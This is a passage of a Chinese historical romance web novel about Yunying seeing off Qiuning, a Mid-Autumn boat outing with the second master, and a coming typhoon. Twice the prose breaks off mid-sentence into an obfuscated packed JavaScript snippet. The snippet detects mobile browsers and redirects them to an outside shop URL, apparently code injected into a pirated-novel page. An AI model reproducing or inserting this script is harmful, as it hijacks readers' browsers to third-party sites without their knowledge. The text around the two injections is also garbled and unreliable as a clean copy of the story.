云莺与二爷正说着话,就见穗儿在门外探头探脑,她想起之前与秋宁有约,就和二爷辞别,说回后院一趟。 二爷应了,送她出门,“是秋宁要离府了?” “对,她前几天就在收拾东西。昨天东西收拾好了,她特意去寻我,说准备今天离府。”她昨天晚上还和秋宁一道用了宴席,全作给秋宁饯别。 结果秋宁哭的好厉害,一边吃菜一边喝酒,菜没吃几口,倒是酒水灌进肚子好几杯。没一会儿功夫,她就把自己灌醉了。 她早起过来寻二爷时,秋宁还睡着。现在应该是苏醒了。只是不知道她头疼不疼,可不能让她挺着不适的身子离开。 二爷说,“稍后我让随雨送她去干货坊。” 云莺支支吾吾的应着,“这些小事儿您就别操心了,我来安排就行。” 二爷微眯着眸子看着她,“什么意思?” 云莺叹气,“秋宁昨天烂醉如泥,我怕她有醉酒后遗症,就想着,若是她身上不舒坦,就让她在府里再住两天。” 二爷杯噎住了,说出的话都有些酸,“你对她倒是上心。” “毕竟我和她相处了好些年,有感情了么。” 二爷又是冷笑一声,不愿意搭理云莺了。 云莺也实在挂念秋宁,就挥挥手快步出了院子。 二爷见她如此无情,当真不再哄他,气的抿了抿唇,轻声骂了一句“小白眼狼。” 再说云莺回了后院,就见秋宁正在翻她的箱子。 云莺见她头扎在箱子里,就问她,“你找什么?小心点,别磕到头。” “我没找什么,我就是看看这箱子的底儿结实不结实。可别走到半路箱子坏了,把我的东西都掉出来,那就丢大人了。” 云莺:“……” “秋宁,你是还没酒醒么?” “你以为我是你啊,我早就酒醒了好不好?” 秋宁从箱子中抬起头,站起身拍拍手,“行了,检查完毕,这箱子非常结实。哎呀我说云莺,你别一副很无语的表情。我这么做是有原因的好不好?你忘了之前我们南下来云归县时,在一家客栈住宿,当时是不是有两个小丫鬟抬着个箱子从二楼下来,结果箱子底儿被虫蛀了,箱子中的瓷器又太重,直接把那箱子底压坏了,瓷器掉在地上,哗啦啦碎了一地。” 这事儿云莺自然记得 。 她甚至都还能想起,当时整个客栈是如何静寂。 但话又说回来,那口坏了的箱子,打眼一瞧就知道用的不是什么好材料,且也有些年月了,上边都是发霉的痕迹。反观眼前这口箱子,这是上好的酸枝木做的,顶顶新,别说秋宁只是在里边放了些衣裳被褥,就是放一箱铁疙瘩,这箱子都不带坏的。 云莺问,“秋宁,你不想离开了?若是你想继续留在……” “那个不想离开了?那个想继续留在府里了。云莺你别瞎猜,我正要出门呢。不过……我从小就和你们在一起,从来没自己生活过,我有些怕就是了。” 秋宁说起这话,鼻尖都红了。加上她昨天爆哭过,眼睛肿的不像样,看起来真有些惨。不知情的看见她这样子,怕会以为,她是被二爷扫地出门的。 秋宁:“我是想出去的,但又有些怕,我就想缓缓。等我做好心理准备,我就走。” “那你先回屋里……” 秋宁:“好了,我做好心理准备了。” 云莺:“……” 云莺翻了个白眼,接过秋宁手中的包袱,随她一道往外走。 “二爷交代了随雨去送你。有随雨镇着,不怕别人会欺负你。你若是在外边受了委屈,也可以过来寻我说,我让二爷给你主持公道。” “嗯嗯嗯。” “我也会隔三差五去看你的,你若是在外边不如意,大不了我再把你带回来。” “好,有你这句话我就放心了。” “你脾气又倔又冲,以后多少收敛一点。” 秋宁哼哼,“我是去当监工的,我收敛什么脾气?我若是收敛脾气了,他们怕不得以为我这监工是个好拿捏的。我才不要!我就是要把我这暴脾气露出来,让那些人都忌讳我,让他们不敢私下里做小动作。” 云莺:“……总归你万事小心,遇上事儿多动脑,少说话。” “好了,我知道了,知道了。” 两人絮絮叨叨的,很快就到了门口。 门口果然停了一辆马车,随雨就站在背阴处,百无聊赖的逗着他的马。 看见两人出了门,随雨嘟囔了一句,“快走吧,马上就热了。” 又嘀咕,“也就两里地远,都没出县城,也不知道你们依依惜别个什么劲儿。” 秋宁一愣,抓住云莺问,“那干货坊就在城里啊?” 云莺也愣住了,“这我还真不知道。” “在城里,就在城里。距离县衙近的很,拐过两道街就是了。这距离,你们一天见个七八面都轻而易举,还在哪儿作别呢,有那个必要么?” “那是没有必要。”秋宁将云莺往一边一推,“行了,你回吧。这么近,我吃顿饭的功夫就能打个来回。行了,我心里有底了,这就准备奔赴我的新人生了。云莺,再见,等我熟悉了新差事,挣了银子接你出去玩。” 随雨早等的不耐烦了,一看秋宁坐稳当了,他给车夫打了个响指。车夫一甩鞭子,马儿“嘚嘚”的走动起来。 伴随着车厢中,秋宁一声跌倒的痛呼,马儿越跑越快,只是一眨眼的功夫,就走出了县衙所在的这条街。 秋宁的叫骂声消失了,马儿的奔跑声也听不见了。 一起从京城过来的几人,走的走、散的散,到如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616650|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只剩下云莺一个人。 云莺突然感觉孤单。 二爷不知何时出现在云莺身后,“你若实在不放心她,只管跟过去看看就是。总共也没多远,乘马车不过一眨眼的功夫就到了。” 云莺转过身看向二爷,“真的很近么?” “你过去看看就知道了。” 云莺很可耻的心动了,然后,她又听到了马车碾在青石板上的辘辘声。 那辆青帷马车在面前停下,二爷掀开帘子,冲她一抬下巴,“还愣着作甚,快去快回。” 云莺动动手指,“那我真去了。” 二爷轻哼,“在我后悔之前,赶紧走。” 云莺笑了,然后当着二爷的面,利落的爬上马车,坐在了车厢中。 她坐好后,掀开车窗帘子,准备给二爷挥手作别。谁知道却见二爷身影一闪,也上了马车。 “二爷……你做什么?” “怕你一去不回,我跟你一道过去。” 云莺笑了,这次眉眼中都是笑意。她实在开怀的厉害,甚至捂着帕子笑出了声。 二爷见状,心中最后那点郁闷也消失不见了。 行吧,只要她别哭丧个脸,怎样都行。 这厢秋宁前脚进了干货坊,后脚云莺就乘坐着马车到了干货坊的后门。 后门大开着,即便坐在马车上,也能看见院子里边的光景。 这院子就是个四合院。 三面都住着人,只最中间坐北朝南那间厢房空着。如今秋宁就指挥着两个仆妇,把她的东西抬进去。 她趾高气昂,脑袋快抬到天上去了。再加上她本就长的美,在马车上时还特意补了妆,此时看起来就光彩照人,浑身上下一股骄矜的气势。 秋宁翘着兰花指,给院子里的众人立规矩。随雨就站在她不远处,沉默的给她压阵。如此,把干货坊上上下 下的人都震慑住了。 云莺看到这里,落下了车窗帘子,对二爷说,“咱们回去吧。” “不继续看了?” “不看了。”云莺笑道,“秋宁不是吃亏的性子。她这次立了威,也就把众人拿捏住了。以后这里边的人想要造她的反,给她委屈受,那怕是不可能了。” 说实话,秋宁能走到这一步,云莺也没想到。 但她能走到这一步,云莺又为她感到高兴。 二爷让人赶车回去,一边百无聊赖的说,“不过一个草台班子,她若还拿不住大权,镇不住下边的人,她就白受了这么多年教训。” 云莺瞪着二爷,“正是因为是草台班子,才不好管好不好?这边没有现成的规矩,招来的人又野性难驯。这若是个已经运转开来的老店,万事倒是容易了。” 二爷说,“真若是老店,单是里边的老人就能把秋宁压得出不了头。她那监工,也就是个摆设。” “二爷,不带您这么小看人的。” “我没有小看人,我是就事论事。” “那咱们打个赌。” “打什么赌?” “就赌秋宁能不能把这草台班子弄好,能不能让这干货坊更上一层楼。若是秋宁做的好……” “怎样?” “若是做的好,您以后把秋宁调到更大的摊子上,让她做管事。若是不成……” “不成的话如何?” “不成就不成呗,大不了以后您不用她,我再给她找别的活路。” 二爷气笑了,修长的手指隔空轻点着云莺,“云莺啊云莺,没有你这么耍赖的。” “我才没有耍赖,我是就事论事。” “你就是论事?你怕是不知道就事论事到底什么意思。”二爷说,“这个赌于我没有半点好处,我不打。” 云莺瞄他,“你不敢么?” “云莺,激将法对我没用。” 云莺丧气,“那究竟要如何做,您才愿意和我打这个赌?” 二爷笑看着她说,“也简单。” “您说说。” 二爷张嘴想说,你把你自己作为我的战利品,这个赌我就打。可他唯恐把云莺吓跑了,更怕她把自己当成流氓,再开口,到底是颓丧的说,“你给我些好处,我就打这个赌。” 第119章 对影成三人 今年的八月十五,是云莺与二爷一道过的。 白天二爷自然是没有空的,也就夜幕落下之后,二爷给随云四人放了假,单独带着云莺去泛舟游湖。 虽然已经八月半,但云归县的天气丝毫没有变冷的迹象。天气依然燥热难耐,那蚊虫更是到了繁衍的旺季。 云莺可怕蚊子咬了,被二爷带出去时,不免往身上挂了两个驱蚊的香囊。 二爷眼瞅着再不出门,城门就要落钥了,就催了云莺两句,结果云莺还不乐意了,直接怼了一句,“不行我不出门了,你自己出去?” 二爷罕见被噎,回过神后也是气笑了。 他摇摇头,“你这脾气……” 云莺:“我脾气怎么了?” 你脾气可越来越膨胀了。 当然,这话二爷只敢在心里说,他怕真说出来,云莺真不跟他出去了。 向来只有二爷拿捏别人的份儿,到了云莺面前,反倒是他屡次三番都要让着云莺,也不知道是不是上辈子欠了他的。 云莺又磨蹭了一会儿,就拎着食盒与二爷一道出门。 二爷从她手中接过东西,察觉沉甸甸的,就问云莺,“里边都装了什么?” “给你准备了一壶酒,另还有几道小菜,几个果盘月饼。” “怪不得这么沉。” 走到门口,随云竟坐在车辕上等着。 二爷顿住脚,“不是给你们放了假,让你们去消遣?” “二爷你是说,要让我们去逛楼子?” 随雨与雷霆、墨雪从另一侧跳出来,“二爷,你不是这个意思吧?” 二爷不怒自威的看一眼几个属下,又看向云莺。 云莺不说话,只眨巴着一双水润润的杏眸,直勾勾的看向二爷。 所以,你说让他们去消遣,不会真是让他们去逛楼子吧? 二爷抹一把脸,“行了,别闹腾了,都跟上吧。” 随雨响亮的应一声,“好勒,二爷您车上请。” 二爷钳住云莺的腰肢,将云莺放到车辕上,他自己也很快踏上来。 马车开始启动时,二爷面上的表情还有些郁闷。很显然,这几个不懂事的下属的出现,打扰到二爷的兴致了。 云莺忍不住抿唇轻笑,“他们应该是担心您的安全。” 二爷微挑眉看着她,“我更相信,他们是想看我的热闹。” 云莺笑了,“不至于的,二爷您别多想。” 随雨在外边吼吼,“就是,二爷我们真就是担心您的安全,不然我们留在府里吃酒耍乐不更舒服?二爷,好歹咱们也是一道长大,咱们之间基本的信任该有的,您怎么尽把我们往那不堪的方向想?二爷,咱们之间的信任呢?” 二爷直接从车厢中的矮几上,拿了一个果子丢出去,“再多话你立马给我滚回去。” 随雨将果子接到手中,“咔嚓”咬了一声,“多谢二爷的赏。” 就真的是,让人哭笑不得。 有随雨这个人来疯在,云莺这一路一点都不感觉枯燥难熬。 他们赶在城门落钥之前出了城,之后又很快到了城郊的清月湖。 因为南方多山多水,这边很多地名都依山水取名。 像是之前阖村参与了私盐走私的灵渠村,就是因为村子正中有一条灵渠穿村而过;再有如今正尝试人工养珠的弯月塘,它前后两个村子正是以弯月塘为名,取名为前塘村和后塘村;还有屋头山,甚至是眼前的清月湖——清月湖旁还有个清月村,这边的人素来信奉清月湖中有水神,逢年过节,他们都要来河边祭拜,彻夜而归。 云莺和二爷一行人到了清月湖时,果然就见湖边零零散散聚集了很多百姓。 他们身边放着火盆,火盆中正燃烧着金元宝或纸钱。在火盆前边,还放着一众供奉的瓜果菜肴。 类似这样供奉的场面,不胜枚举。整个清月湖旁,全都是大大小小的火堆,燃烧的火焰映出百姓干枯麻木的面孔来,这画面看着多少让人心里不适。 二爷伸出手接云莺下车,他见云莺眼神闪烁,身子还抖了一下,就知道她是吓着了。 二爷就笑了,“只是点信仰而已,放心吧,他们供奉水神只供奉瓜果菜肴,没有进献过活人。” 云莺抬起手在二爷肩膀上拍了一下,“你还说。”她本来就有些怕,被二爷这么一说,更怕了。 …… 清月湖有两奇:一是湖水清澈见底,白天甚至能清晰的看见湖里的水草、螃蟹和鱼虾。另一个,这边是赏月的好去处,到了中秋当晚,运气好的话,甚至能看见三个月亮。 二爷与云莺说起这清月湖的奇特之处,云莺总算将那种“超度亡魂”的怪异感抛到了脑后。 等听二爷说,有三个月亮,这不是典型的“对影成三人”么? 清月湖这边,在中秋当晚会有不少小小的客船。 有的是客船,有的是竹排,也有一些破破烂烂的渔船,这些船只都是供游人中秋当晚来清月湖游玩用的。 二爷早让人租用了一艘客船,他带着云莺走上去。 随雨几人倒是乖觉,这次并不紧跟着二爷了。他们也租了一艘竹筏, 四个人坐在竹筏上喝着小酒,赏着湖光山色,那模样,看起来惬意自在。 云莺收回视线,将酒菜和月饼果子都摆上。 二爷是忙完公事直接去后院接的云莺,也就是说,他到现在还没用膳。 云莺将筷子递给他,让二爷先吃些东西垫垫肚子。 她自己之前简单用了一点,现在倒是不饿。 但就这么干看着,也不是那么回事儿。 云莺干脆给二爷倒了酒,之后自己也拿起了筷子,三不五时吃一口。 二爷喝了一口酒,眉头微挑,“这酒有些烈,是京城新送来的?” 云莺点头。 前几天荣国公府给二爷送了许多节礼来,衣裳饰品、补品、香料这些就不说了。只说酒水,这次就足足运来了一马车。 云莺还纳罕国公府这次怎么送了这么多酒,问过二爷才知道,原来是云归县治下发现金矿的事儿,经由知府大人的折子,已经到达了天听。 听说当天陛下大喜,接连道了好几声“好!” 金矿是二爷发现的,又是在云归县治下。二爷这功立的,别人只有羡慕嫉妒恨的份儿。 荣国公面上有光,欣喜若狂之下给儿子来了一封信,抱怨二爷这么大的事儿应该提前通知他。同时,还从私库中选了许多好酒给儿子。 二爷这些天忙得分身无暇,不是在屋头山,就是在去屋头山的路上。 那边现在已经开始动工。 这个动工并不是说开始挖矿了,而是先头的准备工作已经开始。 本来屋头山的百姓是不用搬迁的,但考虑到矿山的安全性,以及还要为之后的旷工们准备食宿的地方,那最好还是让屋头山的百姓们集体搬迁。 故土难离,且如今还在屋头山发现了“铜矿”,更加证明老祖宗留下的祖训是对的。 这屋头山就是个风水宝地! 如此,屋头山的百姓反抗声音很大,二爷不得不好生安抚,并给与一定的补偿,如此,磨了这许多天,才磨得百姓们统一搬离屋头山,在距离西王母娘娘村不远的地方落脚下来。 二爷忙得有时候连县衙都不回,更别说坐下来品茗美酒了,那都不知道是多久没有的事情了。 也是因为二爷这段时间太劳累,精神也太紧绷,他提议说要出来走一走时,云莺才毫不犹豫的点头同意了。 既然是打定了主意要让二爷放松放松,云莺就去库房中选了好几样酒水出来。 品类多,但是每样只装了一小瓶,加起来能保证二爷微醺,但不到喝醉误事的程度。 如今听二爷说酒烈,云莺就说,“如果不喜欢,您再换别的喝,我给您选了好几样,总有一种您喜欢的。” 二爷又喝了一口,这酒该是贡酒,口感馥郁醇香,韵味绵长。但只一小口下肚,一股辛辣之气便直冲腹部而去。 二爷才消下去的热气,顿时又席卷而来。 二爷夹了一筷子凉拌的藕丁吃。 如今正是吃藕的季节,街上卖的便宜,厨娘知道云莺喜欢吃藕,也经常买来吃。 或清炒、或凉拌,亦或是山药排骨炖汤,再不济做成藕盒或桂花糯米莲藕。 云莺吃的勤了,他的桌上便也时常能看到这道菜。 二爷多吃了两口菜,那口辛辣之气才消下去。 他又端起酒要喝,云莺赶紧拦,“换别的吧。” 二爷看看她素白的手掌,她的手掌拦在他掌前,纤细柔白,细腻的宛若才葱根一样。 二爷感觉身上的火气又上来了,他看着云莺,“其实……也还好,没那么辣。” 云莺狐疑,“您刚才不还说,这酒很烈?” “多喝几口,习惯这种口感,感觉也还行。” “当真?” “当真。” 但云莺还有些不信,她就跃跃欲试道:“不如……我试试?” 二爷露出个朗润的笑,“云莺,你是不记得自己酒量如何了么?” 云莺不乐意了。 她可以承认自己酒量差,但是二爷用这个嘲笑的口吻说她,她就不高兴了。 “我今天还非得要尝尝不可。” 她拿了酒壶,给自己斟了一小杯。馥郁的酒香扑鼻而来,只是这么闻着,好似人就要醉了。 云莺似乎也闻到了辛烈的味道,心里开始打退堂鼓。 二爷似乎看出了她这想法,忍不住笑出声来,“不想喝就别喝,陪我吃点菜说说话也好。” “我就喝一点,不多喝。” 云莺是这么说的,也是这么做的。她将酒杯凑近,轻轻抿了一小口。 二爷笑问,“如何?” 云莺放下杯子,捂着嘴,赶紧喝了一盏清水。这一盏下肚她还不过瘾,还满桌子找水喝,然后直接拿起右手边的杯盏,再次一饮而尽。 她的脸在此时变得火烧一样,一双杏眸水润润的漂亮,泛着妩媚潋滟的光。 云莺用手闪着风,眉头都拧起来,“好辣啊,好辣啊。” 不远处随雨似乎被她这模样逗笑了,指着她哈哈乐起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616651|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但二爷全然没有管教随雨的意思。 他看着云莺手边那只绘 着湘妃竹的茶盏,手指微动,面色略紧。 那茶盏是他用的,里边的清水他也喝了半杯。 再看云莺,此时有些不雅的吐着气,粉白的面颊红的犹如山间的晚霞一般糜艳。 她抱怨的看着二爷,“这酒太烈了,不好喝。” “其实……挺好喝的。” “难道是我喝得少的缘故?……那我再试试。” 云莺又端起酒杯,要喝酒,这次她被二爷拦住了。 二爷道:“别喝了,这酒不适合你,你带了果子露没有?若带了,你喝那个。” 果子露云莺也带了,还是石榴味儿的,她还挺喜欢的。 既然二爷不嫌她喝果子露慢待了他,那她就喝果子露吧。 两人你一杯,我一杯,喝着各自杯盏中的酒,还凑近了说着小话。 云莺主要是问二爷,屋头山那边现在进展到什么程度了。人员确定已经安顿好了么?旷工是不是要开始招募了?届时安顿旷工的房子,是需要重新修盖,还是将就用一下之前百姓留下的房屋? 另外,知府大人那边说会派几个精通矿物的人过来,到时候要不要再县城也给他们安排个住所? 还有金矿,之前只说是挖出来的矿整个运到府城去,是担心这边的冶炼技术不到家,也是担心冶炼出黄金后,更方便歹人打劫。但二爷的意思是,云归县这边也有些好的工匠,他想为这些工匠争取去冶炼黄金的活计,就想将这差事揽下来,如今,这件事他们博弈出结果了么? 说着话,吃着菜,赏着美景,云莺不知不觉喝完了一小瓶果子露。 果子露喝完了,她又将方才剩余的那小半盏烈酒也喝到了肚里边。 她才吃过辣,这烈酒她竟也没觉得什么辣意来。也可能是果子露自带的那点度数,让她有了几分醉意,以至于分不清自己到底喝的是酒还是水了。 还是二爷察觉她话多了起来,也颠三倒四说的没有逻辑了,才仔细看向她。 这一看,二爷就发现,云莺面颊酡红,眸光涣散,一双顾盼生辉的明眸,此刻全是茫然。 二爷笑了,“你怎么又醉了?” 云莺抿唇,不依不饶,“那个醉了?我清醒得很。二爷你看这是几?我都能认清这是‘三’。” 二爷看着在眼前晃的两根白盈盈的手指,笑的浑身打颤,手中酒杯中的酒水都一荡一荡,要从酒杯中溢出来。 云莺见二爷摇晃起来,她头更晕了,不由伸出手去,两手贴上了二爷的面颊,“你不要晃,我头晕。” 二爷笑出声来,“云莺,我没晃,是你在晃。” “胡说,我坐的端端正正。我上学时,最规矩了,连老师都夸我乖巧。” “上学”和“规矩”这两个字,云莺说的都很含糊,但二爷耳力过人,还是把这两个词汇听清楚了。 二爷也挺疑惑,上学和老师是怎么回事儿。但想来想去,云莺也只在长安候府的庄子上时,有过类似“求学”的经历,再加上老师和师傅大体上似乎一类人,二爷就觉得,这怕不是庄子上的姑娘,对于教养嬷嬷的另类称呼。 二爷没有过多的追究这件事,因为隔壁随云又闹腾起来了。 “嘿,三个月亮,二爷你快看,有三个月亮。” 清月湖中,除了他们一行人外,还有些别的人。只是清月湖占地颇广,大家也不想被人打搅,便很有分寸的彼此之间保持着距离。 如今随雨这一嚷,周围人全都被惊动了。 随后,就有不少人惊呼起来,“果然,是三个月亮。” 二爷也看了过去,就见清凌凌的湖面上,一个月亮泛着白光,另一个则是微微泛黑,再看天空,明月高悬,圆如玉盘。 云莺已经醉趴下了,因为醉的厉害,她也坐不好,身子顺着桌面往下滑。 二爷及时捞了一把,就将她捞到了怀里。 云莺咕哝两声,好似说了句“好晕”“我要摔倒了”,二爷见状好气又好笑。 还知道要摔倒了,可见还有一丝理智在。 二爷拍拍云莺的脸,“快睁眼看看,这也是世间奇景,错过了下一次要见到,不知道是猴年马月。” “什么奇景啊?” 云莺努力睁眼,努力探头,但她只看到天地间一片银辉,月光将整个天地照的皎洁无垠。 湖水哗哗的流动着,不远处传来蝉鸣虫吟的声音。一切都是那么安详,让人特别想睡觉。 二爷再次重复,“天地间有三个月亮,你真的不睁眼看看么?” “三个月亮啊,这没什么奇怪的,我之前见过的。我不仅见过,我还知道成因。” “什么成因?”二爷蹙眉,微微纳罕。 “就是三个月亮的成因啊。”云莺凑近了二爷的耳朵,吐出带着馨香与酒气的热气来,“这是个秘密,我只和你说哦。这其中一个月亮……是月亮的本体,另一个,是光线直射形成的月亮,还有一个,是光线反射形成的月亮……所谓‘举杯邀明月,对影……成三人’,说的和眼前的场景,一样一样的啊。” 第120章 台风 中秋之后两天,二爷似乎闲了很多。 他不仅一天三顿饭都能在府里用了,还三不五时就凑在云莺跟前与她说话。 二爷从不是一个话多的人,即便在云莺跟前话稍微密一点,但也绝对不到话多的地步。 但这两天,也不知道是不是云莺的错觉,她感觉二爷话多了许多,且总是有意无意打听她的过往。 云莺的过往可经不起追究。 关键是她不是原装的。 她怕自己说错了话,再引起二爷的疑惑与警惕。 如此,懒散的应付了二爷三五个问题后,再碰到二爷打听她过往的情况,云莺就闭嘴不言,甚至还会故意转移话题,以此逃避二爷的追问。 她逃避了,二爷似乎也不追究了。 但二爷许是怕她闲,近几日频频将她唤到书房去。 第一次是让她磨墨,这活儿云莺熟悉,她直接就上手了。 但墨汁磨好,云莺准备去找个地方坐下看会儿书时,二爷又唤她过来,看看他写的字如何。 二爷的字自然是极好的。 毕竟从小习着书圣的字帖,再加上教养严苛,二爷那笔书法堪称精绝。云莺曾经就说过,二爷什么时候不当官了,也能当个书法家,且还是备受时人追捧的书法家。 由此,二爷的书法之绝妙可见一斑。 云莺虽然也自小练字,但她可没条件请专门的大师傅来教导她,更没有那么多时间笔耕不辍的练习。 她练书法,就只是报了一个兴趣班。又因为家里人想磨她性子,于是,成了习惯,长大后也坚持下来。 但她那手字虽然拿的出手,和二爷这比起来,就如同萤火比之日月之光,那根本没有可比性。 所以,让她评价二爷的书法……她还是歇歇吧。 云莺谦逊的表示“她不配”,这话可把二爷逗笑了。 二爷说,“什么配不配的,我还是第一次听人这么说自己。” “我这是实话实说。我什么水平,我一清二楚。我那笔字,也就仅限于不难看,但也就是小孩水准……就我这水平,我还评价您,传出去招人笑话。” “你的字仅限于小孩儿水准?”二爷来了兴致,“我怎么记得你大字写的还可以。云莺你过来,你写几个字我看看。” 云莺忙摆手,“行家面前,我就不献丑了。” 趁着二爷给她涮笔的空档,云莺直接窜了。 可下午时,二爷又让她陪着作画弈棋。 作画什么的,云莺素描学的不错,工笔山水也会一些,但时下文人俱都学得来的写意画,她是半点都没入门。 弈棋,也就是下棋,她只知道一点下棋的规则,其余全不会。 云莺懵逼了,觉得二爷是在刻意为难她。 她还好心请教二爷,“若您实在缺个红袖添香的丫头,我给您买一个来,您觉得怎么样?” 那自然不怎么样。 最后云莺被二爷撵了出去。 但云莺却松了口气,跑的跟身后有鬼在追一样快。 她觉得这几天还是离二爷远一些,这个想一出是一出的二爷,她招架不住。 好在二爷很快又忙起来了,根本没空再理会云莺。 云莺原本松了口气,可当她知道,二爷现在忙碌的事情,她人都要裂开了。 云莺抓住一个小丫鬟,问,“谁告诉你要来飓风了?” 飓风,具四面之风。 《投荒杂录》中曾这样记载,“岭南诸郡,皆有飓风,以四面风俱至也。” 飓风,也就是现代的台风。 想想现代社会,在有各种预测手段和防备的前提下,台风还动辄摧毁房屋、吹倒树木、掀翻船只,导致山洪暴发、城市内涝。 而古代,什么都没有,就连屋子都还是茅草屋,如此,要怎么抵抗施虐而来的飓风。 云莺头一阵阵发晕,感觉整个人都站不住了。 她不相信这个消息是真的,抓住小丫鬟厉声说,“你听谁传的谣言,去警告那人闭紧嘴巴。再敢胡言乱语,搅乱人心,稍后我必定要重罚她。” 小丫鬟要急哭了,“不是一个、两个人这么传,是外边所有人都这么传。姑娘,真的要来台风了,这是神瞽占卜出来的结果,不会有错的姑娘。” 瞽是对眼瞎目盲者的一种称呼,在瞽之前加了个“神”,就凸显了几分神性。 事实上,神瞽此人在云归县,还真就是个有些神性的、会占卜的巫。 据说此人自小目盲,但却生而知之。凡占卜从无一错处,自幼就被供奉在神龛上。 云莺也是听说过神瞽的一些事情的,比如他指引百姓去何处寻找走失的耕牛,亦或者让一对老人子时点燃爱子的衣衫,寻到早就落水而亡的独子;再就是给百姓卜算成亲或下葬的吉时,算适宜出行的日子…… 总之,这人在云莺看来,虽然有些奇特的不能解释的本事,但大体也就是个神棍。 而这个神棍竟然预测,云归县近几日会有飓风。 这怎么…… 云莺不敢说这事儿不可能,毕竟从古至今,岭南府都是台风高发的区域。 可上一 年没有飓风过境,今年上半年也没有飓风,怎么万事都上了轨道,云归县一切向好了,要来飓风了? 云莺不想相信,她一把丢开小丫鬟,提着裙子往前院跑去。 沿途她看见许多丫鬟婆子,大家俱都惊慌不安。 “是神瞽卜算的要来飓风了,哎呀,我就说了,这几天那老鼠蟑螂到处跑,都不怕人了。树上的鸟也不见了,指定是为了躲飓风都飞远了。” “这可怎么办是好?要死人了,这次不知道又要死多少人。我阿爹阿妈就是死在飓风里的,那都是多少年的事儿了,当时那雨下的,足足下了七八天,我们家的稻草房塌了,除了我全都被砸死在下边了。” “这一季的庄稼要废了。” “好不容易来了个青天大老爷,百姓日子好过了,可老天爷不给人活路。老天好狠的心啊。” 云莺一路跑到前院,跑的头上的簪子都掉下来了。 穗儿和柳儿跟在她身后跑,两个丫头将她头发都散了,一个劲儿的喊“姑娘”。 可是云莺完全听不见,她憋着一口气,直接跑到了二爷的院子里。 但是院子里没有人,二爷一早就出门了,到现在都没有回来。 随云四个也不见踪影,整个前院静悄悄的。 云莺咬咬牙,转身往外走。 穗儿和柳儿赶紧拦住她,将她的头发用了一根发带束缚住,然后跟在云莺身后出了府门。 一出县衙,就见街上已经乱做了一团。 县衙所在的这条街还算好的,但到处都可见惊慌不安的百姓。 有的百姓挑着胆子购买了米面,有的则扛着几捆柴火,努力的往家搬。 好些妇人还拉进了孩子的手,说着“这几天乖一些,躲在屋里不要出门了,不然被飓风刮走了,娘可救不了你。” “家里的房子得赶紧修补修补,还得快些做点干粮出来,还得买几幅药先备着。” 这是县衙附近,总体还算安稳。 可远处那条街,尤其是卖米面的那间铺子,简直被人挤的水泄不通。 那间铺子距离县衙还算近,自然那也不敢在这时候涨价。但百姓一哄而上,买不到还要抢,就引起了争斗。如此,闹哄哄的,很快吸引了官兵过去。 云莺见状,心跳愈发快了。 但她也只看了一眼,随即就径直走进了县衙。 县衙中刘颂云正急慌慌的往外走。 这位刘颂云,正是那位被二爷看好的秀才公老爷。 在今年开印之后,二爷就下发了他的任命文书,于是刘颂云走马上任,成了云归县的县丞。 平日里二爷多数时间在外,县衙就留给刘颂云照应。一应官司以及一些不太重要的公文,刘颂云也能帮着处理,如此,很是帮了二爷大忙。 刘颂云在县衙多半年,鞠躬尽瘁,任劳任怨,二爷对此人的评价颇高,云莺见了人自然也是恭恭敬敬的见礼。 刘颂云先还想呵斥,是那个妇人如此不懂规矩,竟然连县衙的大门都敢闯。 等他看清进门的是县令大人身边的那位云莺姑娘,赶紧把到嘴边的话又咽了回去,并换上一副客客气气 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云莺见刘颂云面色凝重的看着她,还以为这位老先生是嫌弃她一个内宅女眷管的太多了。她也知道这事儿她逾矩了,贸然跑出县衙,也确实没规矩了些。但她太清楚台风的危害。她害怕,她想尽自己的可能,去多做一些事情。 “姑娘的考量,我明白了。不瞒姑娘,过几天确实会来飓风。”见云莺欲说话,刘颂云及时打断她,又说道:“姑娘也知道,我是云归县人,经历的多,知道的也就多了。其实,不仅是我,但凡是些上了年纪的老人,都注意到最近两天天气异常。” 具体是那里异常,随便抓个上了年纪的老农,都能说出个一二三四。 首先就是,海陆风不明显了。 要知道,云归县虽然居于内陆,但距离海边的直线距离并不太远。每个白天,风从海面吹向陆地,到了晚上,则由陆地吹向海面。这种情况是非常分明的,可自从中秋以来,这种情况就含混起来。 再就是,远处的山树皆清晰可见,可见度非常之好。 还有就是,高空中出现马尾或羽毛状的云,且云层有逐渐加厚的倾向。 还有一些别的征兆,比如长浪拍击山崖,发出海鸣,海里的浪变高变长,动物出现惊慌异状等等等等。 若是一个两个出现,不能证明飓风即将来袭,所有这些一道出现,但凡是在岭南生活过几年,就该明白,是海神发怒,飓风要来了。 飓风,这远不是人力可以抗衡的神迹,即便他们发现的早,但究竟要如何做,才能最大可能的减免损失,刘颂云也要和县令大人商议商议。 但县令大人还未归,大的事情他不能做,刘颂云现在能做的,就是把修路那一摊子事儿先停了,把那些砂石木料都想收拾了。 他想起那小山高的砂石,以及那数不清的木料,愈发心焦起来。 这些可都是赊欠来的东西,若是被雨水冲跑了,也只能认栽了,可若是这东西被席卷道半空,落下再砸死砸伤人,那就不好了。 刘颂云念及此,冲冲给云莺拱了拱手,这就准备先去处理此事。 云莺见状,赶紧挪开了步子,让开了道路。 她不好耽搁刘颂云,也深知作为一个内宅女眷,她在公事上根本就帮不到二爷。 